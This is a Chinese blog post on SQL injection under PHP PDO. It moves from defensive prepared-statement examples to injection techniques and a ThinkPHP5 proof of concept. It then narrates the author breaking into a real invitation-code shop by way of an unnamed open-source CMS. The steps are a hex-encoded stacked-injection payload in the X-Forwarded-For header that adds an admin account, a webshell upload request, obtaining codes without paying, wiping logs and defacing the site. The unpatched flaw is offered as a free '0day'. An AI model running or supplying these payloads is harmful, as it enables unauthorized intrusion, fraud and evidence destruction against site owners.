从PDO下的注入思路到获得GIT 2000star项目0day(文末0day福利)

bypass部分      

温馨提示

      本文章仅供学习交流使用,文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!

0x01 PDO简介

PDO全名PHP Data Object

PDO扩展为PHP访问数据库定义了一个轻量级的一致接口。PDO提供了一个数据访问抽象层,这意味着,不管使用哪种数据库,都可以使用相同的函数(方法)来查询和获取数据。

PHP连接MySQL数据库有三种方式(MySQL、Mysqli、PDO),列表性比较如下:

Mysqli PDO MySQL
引入的PHP版本 5.0 5.0 3.0之前
PHP5.x是否包含
服务端prepare语句的支持情况
客户端prepare语句的支持情况
存储过程支持情况
多语句执行支持情况 大多数

如需在php中使用pdo扩展,需要在php.ini文件中进行配置

0x02 PDO防范SQL注入

①调用方法转义特殊字符

quote()方法(这种方法的原理跟addslashes差不多,都是转义)

PDO类库的quate()方法会将输入字符串(如果需要)周围加上引号,并在输入字符串内转义特殊字符。

EG①:

<?php$conn = new PDO('sqlite:/home/lynn/music.sql3');
/* Dangerous string */$string = 'Naughty ' string';print 'Unquoted string: $stringn';print 'Quoted string:' . $conn->quote($string) . 'n';?>

输出

Unquoted string: Naughty ' stringQuoted string: 'Naughty '' string'

EG②

test.sql

SET NAMES utf8mb4;SET FOREIGN_KEY_CHECKS = 0;
-- ------------------------------ Table structure for user-- ----------------------------DROP TABLE IF EXISTS `user`;CREATE TABLE `user` ( `id` int(10) NOT NULL, `username` varchar(255) CHARACTER SET utf8 COLLATE utf8_unicode_ci NULL DEFAULT NULL, `password` varchar(255) CHARACTER SET utf8 COLLATE utf8_unicode_ci NULL DEFAULT NULL) ENGINE = MyISAM CHARACTER SET = utf8 COLLATE = utf8_unicode_ci ROW_FORMAT = Dynamic;
-- ------------------------------ Records of user-- ----------------------------INSERT INTO `user` VALUES (0, 'admin', 'admin');INSERT INTO `user` VALUES (1, 'user', 'user');
SET FOREIGN_KEY_CHECKS = 1;

pdo.php

<?phpheader('content-type=text/html;charset=utf-8');$username=$_GET['username'];$password=$_GET['password'];try{    $pdo=new PDO('mysql:host=localhost;dbname=test','root','root');     $username=$pdo->quote($username);     $password=$pdo->quote($password);    $sql='select * from user where username={$username} and password={$password}';    echo $sql.'</br>';    $row=$pdo->query($sql);    foreach ($row as $key => $value) {        print_r($value);    }}catch(POOException $e){    echo $e->getMessage();}

访问http://localhost/pdo.php?username=admin&password=admin

当我们使用单引号探测注入时

如图,单引号已被反斜线转义

预编译语句

1、占位符-通过命名参数防止注入

通过命名参数防止注入的方法会使得程序在执行SQL语句时,将会把参数值当成一个字符串整体来进行处理,即使参数值中包含单引号,也会把单引号当成单引号字符,而不是字符串的起止符。这样就在某种程度上消除了SQL注入攻击的条件。

将原来的SQL查询语句改为

Select * from where name=:username and password=:password

prepare方法进行SQL语句预编译

最后通过调用rowCount()方法,查看返回受sql语句影响的行数

返回0语句执行失败,大于等于1,则表示语句执行成功。

All code

<?phpheader('content-type:text/html;charset=utf-8');$username=$_GET['username'];$password=$_GET['password'];try{    $pdo=new PDO('mysql:host=localhost;dbname=test','root','root');    $sql='select * from user where name=:username and password=:password';    $stmt=$pdo->prepare($sql);    $stmt->execute(array(':username'=>$username,':password'=>$password));    echo $stmt->rowCount();}catch(PDOException $e){    echo $e->getMessage();}?>

查询成功

注入失败

2、占位符-通过问号占位符防止注入

把SQL语句再进行修改

select * from user where name=? and password=?

同上,prepare方法进行SQL语句预编译

最后调用rowCount()方法,查看返回受sql语句影响的行数

<?header('content-type:text/html;charset=utf-8');$username=$_GET['username'];$password=$_GET['password'];try{    $pdo=new PDO('mysql:host=localhost;dbname=test','root','root');    $sql='select * from user where username=? and password=?';    $stmt=$pdo->prepare($sql);    $stmt->execute(array($username,$password));    echo $stmt->rowCount();}catch(PDOException $e){    echo $e->getMessage();}?>

效果同上

查询成功

注入失败

3.通过bindParam()方法绑定参数防御SQL注入

修改语句部分

$sql='select * from user where name=:username and password=:password'; $stmt=$pdo->prepare($sql); $stmt->bindParam(':username',$username,PDO::PARAM_STR); $stmt->bindParam(':password',$password,PDO::PARAM_STR);

解释:

a)::username 和 :password为命名参数

b):$username;$password为获取的变量,即用户名和密码。

c):PDO::PARAM_STR,表示参数变量的值一定要为字符串,即绑定参数类型为字符串。在bindparam()方法中,默认绑定的参数类型就是字符串。

当你要接受int型数据的时候可以绑定参数为PDO::PARAM_INT.

<?phpheader('content-type:text/html;charset=utf-8');$username=$_GET['username'];$password=$_GETT['password'];try{    $pdo=new PDO('mysql:host=localhost;dbname=test','root','root');    $sql='select * from user where name=:username and password=:password';    $stmt=$pdo->prepare($sql);    $stmt->bindParam(':username',$username,PDO::PARAM_STR);    $stmt->bindParam(':password',$password,PDO::PARAM_STR);    $stmt->execute();    echo $stmt->rowCount();}catch(PDOException $e){    echo $e->getMessage();}?>

查询成功

注入失败

这只是总结了一部分PDO防范SQL注入的方法,仍有方法请见下文

其他手法还有很多,大家感兴趣的话可以自行研究

0x03 PDO下的注入手法与思考

读完前文后,读者们可能不由感叹,真狠啊,什么都tmd转义,什么语句都预编译了,这我tmd注入个毛...

北宋宰相王安石有言“看似寻常最奇崛,成如容易却艰辛”

让我们抽丝剥茧来探寻PDO下的注入手法

目前在PDO下,比较通用的手法主要有如下两种

①宽字节注入

注入的原理就不讲了,相信大家都知道

一张图,清晰明了

当Mysql数据库my.ini文件中设置编码为gbk时,

我们的PHP程序哪怕使用了addslashes(),PDO::quote,mysql_real_escape_string()、mysql_escape_string()等函数、方法,或配置了magic_quotes_gpc=on,依然可以通过构造%df'的方法绕过转义

②堆叠注入与报错注入

PDO分为模拟预处理非模拟预处理

模拟预处理是防止某些数据库不支持预处理而设置的,也是众多注入的元凶

在初始化PDO驱动时,可以设置一项参数,PDO::ATTR_EMULATE_PREPARES,作用是打开模拟预处理(true)或者关闭(false),默认为true。

PDO内部会模拟参数绑定的过程,SQL语句是在最后execute()的时候才发送给数据库执行。

非模拟预处理则是通过数据库服务器来进行预处理动作,主要分为两步:

第一步是prepare阶段,发送SQL语句模板到数据库服务器;

第二步通过execute()函数发送占位符参数给数据库服务器执行。

PDO产生安全问题的主要设置如下:

PDO::ATTR_EMULATE_PREPARES //模拟预处理(默认开启

PDO::ATTR_ERRMODE //报错

PDO::MYSQL_ATTR_MULTI_STATEMENTS //允许多句执行(默认开启)

PDO默认是允许多句执行和模拟预编译的,在用户输入参数可控的情况下,会导致堆叠注入。

2.1 没有过滤的堆叠注入情况

<?phpheader('content-type=text/html;charset=utf-8');$username=$_GET['username'];$password=$_GET['password'];try{ $pdo=new PDO('mysql:host=localhost;dbname=test','root','root'); $sql='select * from user where username='{$username}' and password='{$password}''; echo $sql.'</br>'; $row=$pdo->query($sql); foreach ($row as $key => $value) { print_r($value); }
}catch(POOException $e){ echo $e->getMessage();}

因为在$pdo>query()执行之前,我们便可以对$sql进行非法操作,那PDO相当于没用

如果想禁止多语句执行,可在创建PDO实例时将PDO::MYSQL_ATTR_MULTI_STATEMENTS设置为false

new PDO($dsn, $user, $pass, array(PDO::MYSQL_ATTR_MULTI_STATEMENTS => false))

但是哪怕禁止了多语句执行,也只是防范了堆叠注入而已,直接union即可

2.2 模拟预处理的情况

<?phptry { $pdo=new PDO('mysql:host=localhost;dbname=test','root','root'); //$pdo->setAttribute(PDO::ATTR_EMULATE_PREPARES, false); $username = $_GET['username']; $sql = 'select id,'.$_GET['role'].' from user where username = ?'; $stmt = $pdo->prepare($sql); $stmt->bindParam(1,$username); $stmt->execute(); while($row=$stmt->fetch(PDO::FETCH_ASSOC)) { var_dump($row); echo '<br>'; }} catch (PDOException $e) { echo $e;}

$role是可控的,导致可实现堆叠注入和inline query

2.3当设置PDO::ATTR_ERRMODE和PDO::ERRMODE_EXCEPTION开启报错时

设置方法

$pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);

无论是否开启PDO::ATTR_EMULATE_PREPARES-模拟预处理

此时SQL语句如果产生报错,PDO则会将报错抛出

除设置错误码之外,PDO 还将抛出一个 PDOException 异常类并设置它的属性来反射错误码和错误信息。

此设置在调试期间也非常有用,因为它会有效地放大脚本中产生错误的点,从而可以非常快速地指出代码中有问题的潜在区域

在这种情况下可以实现error-based SQL Injection

使用GTID_SUBSET函数进行报错注入

http://192.168.1.3/pdo.php?role=id OR GTID_SUBSET(CONCAT((MID((IFNULL(CAST(CURRENT_USER() AS NCHAR),0x20)),1,190))),6700)&username=admin&username=admin

2.4 非模拟预处理的情况

<?phptry {    $pdo=new PDO('mysql:host=localhost;dbname=test','root','root');    $pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);    $pdo->setAttribute(PDO::ATTR_EMULATE_PREPARES, false);    $username = $_GET['username'];    $sql = 'select id,'.$_GET['role'].' from user where username = ?';    $stmt = $pdo->prepare($sql);    $stmt->bindParam(1,$username);    $stmt->execute();    while($row=$stmt->fetch(PDO::FETCH_ASSOC))    {        var_dump($row);        echo '<br>';    }} catch (PDOException $e) {    echo $e;}

此时堆叠注入已经歇逼

但inline query,报错注入依然坚挺可用

③一个安全的case

只要语句内存在有用户非纯字符可控部分,便不够安全;那我们就用非模拟预处理sql写法

$dbh->setAttribute(PDO::ATTR_EMULATE_PREPARES, false);

它会告诉 PDO 禁用模拟预处理语句,并使用 real parepared statements 。

这可以确保SQL语句和相应的值在传递到mysql服务器之前是不会被PHP解析的(禁止了所有可能的恶意SQL注入攻击)。

如下为一个安全使用PDO的case

$pdo = new PDO('mysql:dbname=testdatabase;host=localhost;charset=utf8', 'root', 'root');$pdo->setAttribute(PDO::ATTR_EMULATE_PREPARES, false);$stmt = $pdo->prepare('SELECT * FROM wz_admin WHERE id = :id');$stmt->execute(array('id' => $id));print_r($stmt -> fetchAll ());exit();

当调用 prepare() 时,查询语句已经发送给了数据库服务器,此时只有占位符

发送过去,没有用户提交的数据;当调用到 execute()时,用户提交过来的值才会传送给数据库,它们是分开传送的,两者独立的,SQL注入攻击者没有一点机会

0x04 案例剖析-ThinkPHP5中PDO导致的一个鸡肋注入(来自Phithon师傅)

我们来看Phithon师傅几年前博客发的一个case

https://www.leavesongs.com/PENETRATION/thinkphp5-in-sqlinjection.html

<?phpnamespace app\index\controller;
use app\index\model\User;
class Index{ public function index(){ $ids = input('ids/a'); $t = new User(); $result = $t->where('id', 'in', $ids)->select(); }}

如上述代码,如果我们控制了in语句的值位置,即可通过传入一个数组,来造成SQL注入漏洞。

文中已有分析,我就不多说了,但说一下为什么这是一个SQL注入漏洞。IN操作代码如下:

<?php...$bindName = $bindName ?: 'where_' . str_replace(['.', '-'], '_', $field);if (preg_match('/\W/', $bindName)) {    // 处理带非单词字符的字段名    $bindName = md5($bindName);}...} elseif (in_array($exp, ['NOT IN', 'IN'])) {    // IN 查询    if ($value instanceof \Closure) {        $whereStr .= $key . ' ' . $exp . ' ' . $this->parseClosure($value);    } else {        $value = is_array($value) ? $value : explode(',', $value);        if (array_key_exists($field, $binds)) {            $bind  = [];            $array = [];            foreach ($value as $k => $v) {                if ($this->query->isBind($bindName . '_in_' . $k)) {                    $bindKey = $bindName . '_in_' . uniqid() . '_' . $k;                } else {                    $bindKey = $bindName . '_in_' . $k;                }                $bind[$bindKey] = [$v, $bindType];                $array[]        = ':' . $bindKey;            }            $this->query->bind($bind);            $zone = implode(',', $array);        } else {            $zone = implode(',', $this->parseValue($value, $field));        }        $whereStr .= $key . ' ' . $exp . ' (' . (empty($zone) ? '''' : $zone) . ')';    }

可见,$bindName在前边进行了一次检测,正常来说是不会出现漏洞的。但如果$value是一个数组的情况下,这里会遍历$value,并将$k拼接进$bindName

也就是说,我们控制了预编译SQL语句中的键名,也就说我们控制了预编译的SQL语句,这理论上是一个SQL注入漏洞。那么,为什么原文中说测试SQL注入失败呢?

这就是涉及到预编译的执行过程了。通常,PDO预编译执行过程分三步:

1.prepare($SQL) 编译SQL语句2.bindValue($param, $value) 将value绑定到param的位置上3.execute() 执行

这个漏洞实际上就是控制了第二步的$param变量,这个变量如果是一个SQL语句的话,那么在第二步的时候是会抛出错误的:

所以,这个错误“似乎”导致整个过程执行不到第三步,也就没法进行注入了。

但实际上,在预编译的时候,也就是第一步即可利用。我们可以做有一个实验。编写如下代码:

<?php$params = [ PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION, PDO::ATTR_EMULATE_PREPARES => false,];
$db = new PDO('mysql:dbname=cat;host=127.0.0.1;', 'root', 'root', $params);
try { $link = $db->prepare('SELECT * FROM table2 WHERE id in (:where_id, updatexml(0,concat(0xa,user()),0))');} catch (\PDOException $e) { var_dump($e);}

执行发现,虽然我只调用了prepare函数,但原SQL语句中的报错已经成功执行:

究其原因,是因为我这里设置了PDO::ATTR_EMULATE_PREPARES => false

这个选项涉及到PDO的“预处理”机制:因为不是所有数据库驱动都支持SQL预编译,所以PDO存在“模拟预处理机制”。如果说开启了模拟预处理,那么PDO内部会模拟参数绑定的过程,SQL语句是在最后execute()的时候才发送给数据库执行;如果我这里设置了PDO::ATTR_EMULATE_PREPARES => false,那么PDO不会模拟预处理,参数化绑定的整个过程都是和Mysql交互进行的。

非模拟预处理的情况下,参数化绑定过程分两步:第一步是prepare阶段,发送带有占位符的sql语句到mysql服务器(parsing->resolution),第二步是多次发送占位符参数给mysql服务器进行执行(多次执行optimization->execution)。

这时,假设在第一步执行prepare($SQL)的时候我的SQL语句就出现错误了,那么就会直接由mysql那边抛出异常,不会再执行第二步。我们看看ThinkPHP5的默认配置:

...// PDO连接参数protected $params = [    PDO::ATTR_CASE              => PDO::CASE_NATURAL,    PDO::ATTR_ERRMODE           => PDO::ERRMODE_EXCEPTION,    PDO::ATTR_ORACLE_NULLS      => PDO::NULL_NATURAL,    PDO::ATTR_STRINGIFY_FETCHES => false,    PDO::ATTR_EMULATE_PREPARES  => false,];...

可见,这里的确设置了PDO::ATTR_EMULATE_PREPARES => false。所以,终上所述,我构造如下POC,即可利用报错注入,获取user()信息:

http://localhost/thinkphp5/public/index.php?ids[0,updatexml(0,concat(0xa,user()),0)]=1231

但是,如果你将user()改成一个子查询语句,那么结果又会爆出Invalid parameter number: parameter was not defined的错误。

因为没有过多研究,说一下我猜测:预编译的确是mysql服务端进行的,但是预编译的过程是不接触数据的 ,也就是说不会从表中将真实数据取出来,所以使用子查询的情况下不会触发报错;虽然预编译的过程不接触数据,但类似user()这样的数据库函数的值还是将会编译进SQL语句,所以这里执行并爆了出来。

0x05 实战案例-从cl社区激活码到Git 2000+ Star项目0day

5.1 起因

挖SRC,做项目做的心生烦闷,前几日忍不住在家看1024(cl)社区,越看越来劲,邪火攻心,想搜片看

奈何cl社区一向奉行邀请制,邀请码又很难搞到,可谓让人十分不爽

于是本人去google上找了一个卖1024社区邀请码的站

88块钱....虽然不算贵,但售卖这种东西本来就是不受法律保护的。作为一个JB小子,怎么可能不动点白嫖心思?

在黑盒测试了一段时间后,发现支付逻辑和前台都没什么安全问题。。难道我真的要花钱买这激活码????

不可能,绝对不可能。

看到网站底部有一个Powered by xxx,呵呵呵,好家伙,不出意外这应该就是这个站用的CMS系统了

去Git上一搜,还真有,2000多个Star,作者维护了好几年,也算是个成熟的项目了。

直接把最新版源码下载下来,丢进PHPstorm里开始审计

5.2 从审计思路到PDO导致的前台XFF堆叠注入

就我个人而言,拿到一套源码,我更喜欢黑白盒相结合;根据前台能访问到的功能点来确定自己审计的目标

简单看了一下整套系统是MVC架构的,使用了PDO,使用有部分过滤规则;后台默认路径是/admin

看了一遍前台的功能点,发现在查询订单处路径名很有趣,带有一个/query,直接搜一下页面上关键词,跟进入到源码中

发现了如下的一段code

PDO均为默认配置,立马想到了堆叠注入

经测试orderid用户可控,全局搜索orderid发现,orderid经函数方法后被处理为纯字符串,没有注入余地,故选择另辟蹊径

后发现ip参数用户同样可控,在调用select方法前没做任何处理。

ip参数调用的是getClientIP方法,我们跟一下getClientIP方法

很好理解,就是从常见的http header中获取客户端IP

但是非常高兴,ip参数未做任何处理,我们可以通过构造XFF头来实现堆叠注入

因为有csrf_token的校验,我们必须在查询订单的页面,随便输入个订单号,随后输入正确的验证码,随后查询才有效

随后手动构造XFF头,进行针对PDO的堆叠注入

因为PDO处为双引号进行语句闭合,且属于无回显的堆叠注入

故构造Payload为

X-FORWARDED-For:1';select sleep(5)#

延迟了5s,注入成功。

针对这种没回显的堆叠注入,盲注太慢,用Dnslog OOB又太慢,所以选择构造一个添加后台管理员的insert payload

X-FORWARDED-For:1“;insert into t_admin_user values(99,'test@test.test','76b1807fc1c914f15588520b0833fbc3','78e055',0);

但是现实是很残酷的,测试发现,在XFF头中,1'将语句闭合后只要出现了引号或者逗号,就会引发报错,SQL语句无法执行

但是具有一定审计经验的兄弟一定会想到,PDO下Prepare Statement给我们提供了绕过过滤进行注入的沃土

山重水复疑无路,柳暗花明又一村

5.3 Prepare Statement构造注入语句

知识补充 --- Prepare Statement写法

MySQL官方将prepare、execute、deallocate统称为PREPARE STATEMENT(预处理)

预制语句的SQL语法基于三个SQL语句:

prepare stmt_name from preparable_stmt;execute stmt_name [using @var_name [, @var_name] ...];{deallocate | drop} prepare stmt_name;

给出MYSQL中两个简单的demo

set@a='select user()';PREPARE a FROM @a;execute a;select sleep(3);#set@a=0x73656C65637420757365722829;PREPARE a FROM @a;execute a;select sleep(3);#  //73656C65637420757365722829为select user() 16进制编码后的字符串,前面再加上0x声明这是一个16进制字符串

Prepare语句在防范SQL注入方面起到了非常大的作用,但是对于SQL注入攻击却也提供了新的手段。

Prepare语句最大的特点就是它可以将16进制串转为语句字符串并执行。如果我们发现了一个存在堆叠注入的场景,但过滤非常严格,便可以使用prepare语句进行绕过。

将我们的insert语句直接hex编码

构造注入语句

X-FORWARDED-For:1';set@a=0x696E7365727420696E746F20745F61646D696E5F757365722076616C7565732839392C227465737440746573742E74657374222C223736623138303766633163393134663135353838353230623038333366626333222C22373865303535222C30293B;PREPARE a FROM @a;execute a;select sleep(3);#//sleep用于判断注入是否成功

延时3s,注入成功,成功添加了一个账号为test@test.test[4],密码为123456的后台管理员

直接默认后台路径/admin登录后台

前台提交一个cl社区邀请码的订单

后台修改订单状态为确认付款

没过一会,邀请码直接到邮箱

以后可以搜片看了

5.4 不讲武德被发现

在不讲武德,连续薅了几个邀请码,发给朋友后

站长终于发现了

八嘎,既然发现了,那就干脆把你的站日下来吧,然后好好擦擦屁股,免得0day被这站长抓走

5.5 后台Getshell审计(Thanks 17@M78sec)

经测试后台的文件上传处鉴权比较严格,没法直接前台getshell

但是后台文件上传处,没有对文件扩展名进行任何过滤,只有一处前端js校验,所以后台getshell直接白给

文件上传后不会返回上传路径,但上传路径和上传文件的命名规则我们已经了如指掌

UPLOAD_PATH定义如下

define('UPLOAD_PATH', APP_PATH.'/public/res/upload/');

CUR_DATE定义如下

define('CUR_DATE', date('Y-m-d'));

文件名

$filename=date('His');  //小时+分钟+秒

以我现在21点05分钟为例,输出结果如下

以2021年5月26日的21点05分44秒为例

完整的文件路径即为

http://www.xxx.com/res/upload/2021-05-26/210444.php

直接构造表单

<meta charset='utf-8'><form action='http://xxx.top/Admin/products/imgurlajax' method='post' enctype='multipart/form-data'>    <label for='file'>File:</label>    <input type='file' name='file' id='file' />    <input type='text' name='pid' id='pid' />  <--! pid记得自行修改为商品的id(后台选择商品抓包即可获取)--></--!>    <input type='submit' value='Upload' /></form>

同时需要添加Referer: http://xxx.top/Admin/products/imgurl/?id=1,并修改下方的pid

否则会提示“请选择商品id”

最后完整的上传http request如下

POST http://xxx.top/Admin/products/imgurlajax HTTP/1.1Host: xxxxContent-Length: 291Accept: application/json, text/javascript, */*; q=0.01DNT: 1X-Requested-With: XMLHttpRequestUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryeSrhtSPGxub0H0ebOrigin: http://47.105.132.207Referer: http://xxx.top/Admin/products/imgurl/?id=12Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9,en;q=0.8Cookie: PHPSESSID=ql4ep5uk8cf9i0rvihrruuilaqConnection: close
------WebKitFormBoundaryeSrhtSPGxub0H0ebContent-Disposition: form-data; name='file'; filename='test.php'Content-Type: image/png
<?php phpinfo();------WebKitFormBoundaryeSrhtSPGxub0H0ebContent-Disposition: form-data; name='pid'
12------WebKitFormBoundaryeSrhtSPGxub0H0eb--

直接上传成功

随后通过burpsuite Intruder来跑一下最后的秒数

毕竟秒数不能拿捏的那么精准

直接拿捏。

把web日志清理掉

然后给public index页面加点乐子

传统功夫,点到为止。

0x06 总结

本文主要介绍了通过PDO防范SQL注入的方法和PDO中的注入利用思路,并给大家带来了一个0day实例

你会发现层层抽丝剥茧研究一个模块,并将其中的姿势应用于实战中,是一件很美妙的事情。

由于政策问题就不发是什么系统了,相信师傅们是很容易定位到出现本0day的系统的,这个0day就算白送各位师傅的了,希望师傅们也早日成为1024社区会员

0x07 Refence:

https://www.leavesongs.com/PENETRATION/thinkphp5-in-sqlinjection.html

https://blog.51cto.com/u_12332766/2137035

https://xz.aliyun.com/t/3950

(0)

相关推荐

  • 浅析mysql存储过程

    去年的强网杯,出了一道mysql堆叠注入叫随便注,这道题被好多比赛玩了一整年,直到现在还是有各种新姿势,但是今天我忽然想到似乎没有对这个题目有一个很认真的分析,因此这里总结一下这个题目的出题用意和原本 ...

  • PHP中的PDO对象操作学习(一)初始化PDO及原始SQL语句操作

    PHP中的PDO对象操作学习(一)初始化PDO及原始SQL语句操作 PDO 已经是 PHP 中操作数据库事实上的标准.包括现在的框架和各种类库,都是以 PDO 作为数据库的连接方式.基本上只有我们自己 ...

  • PHP中的MySQLi扩展学习(四)mysqli的事务与预处理语句

    PHP中的MySQLi扩展学习(四)mysqli的事务与预处理语句 对于 MySQLi 来说,事务和预处理语句当然是它之所以能够淘汰 MySQL(原始) 扩展的资本.我们之前也已经学习过了 PDO 中 ...

  • PHP中的PDO操作学习(二)预处理语句及事务

    PHP中的PDO操作学习(二)预处理语句及事务 今天这篇文章,我们来简单的学习一下 PDO 中的预处理语句以及事务的使用,它们都是在 PDO 对象下的操作,而且并不复杂,简单的应用都能很容易地实现.只 ...

  • PHP中操作数据库的预处理语句

    PHP中操作数据库的预处理语句 今天这篇文章的内容其实也是非常基础的内容,不过在现代化的开发中,大家都使用框架,已经很少人会去自己封装或者经常写底层的数据库操作代码了.所以这回我们就来复习一下数据库中 ...

  • PHP中的PDO操作学习(四)查询结构集

    PHP中的PDO操作学习(四)查询结构集 关于 PDO 的最后一篇文章,我们就以查询结果集的操作为结束.在数据库的操作中,查询往往占的比例非常高.在日常的开发中,大部分的业务都是读多写少型的业务,所以 ...

  • PDO 简介

    许多成熟的数据库都支持预处理语句(Prepared Statements)的概念.它们是什么东西?你可以把它们想成是一种编译过的要执行的SQL语句模板,可以使用不同的变量参数定制它.预处理语句具有两个 ...

  • PHP中的MySQLi扩展学习(五)MySQLI_STMT对象操作

    PHP中的MySQLi扩展学习(五)MySQLI_STMT对象操作 就像 PDO 中的 PDO_Statment 对象一样,MySQLI_STMT 对象也是一个预处理语句所形成的对象,专门用来操作 M ...

  • PHP PDO方式操作Sqlite实例

    Overview (前言) PHP PDO方式操作Sqlite实例 Environment (运行环境) PHP5.3以上 开启扩展 extension=php_pdo_sqlite.dll Func ...

  • PHP中的PDO操作学习(三)预处理类及绑定数据

    PHP中的PDO操作学习(三)预处理类及绑定数据 要说 PDO 中最强大的功能,除了为不同的数据库提供了统一的接口之外,更重要的就是它的预处理能力,也就是 PDOStatement 所提供的功能.因为 ...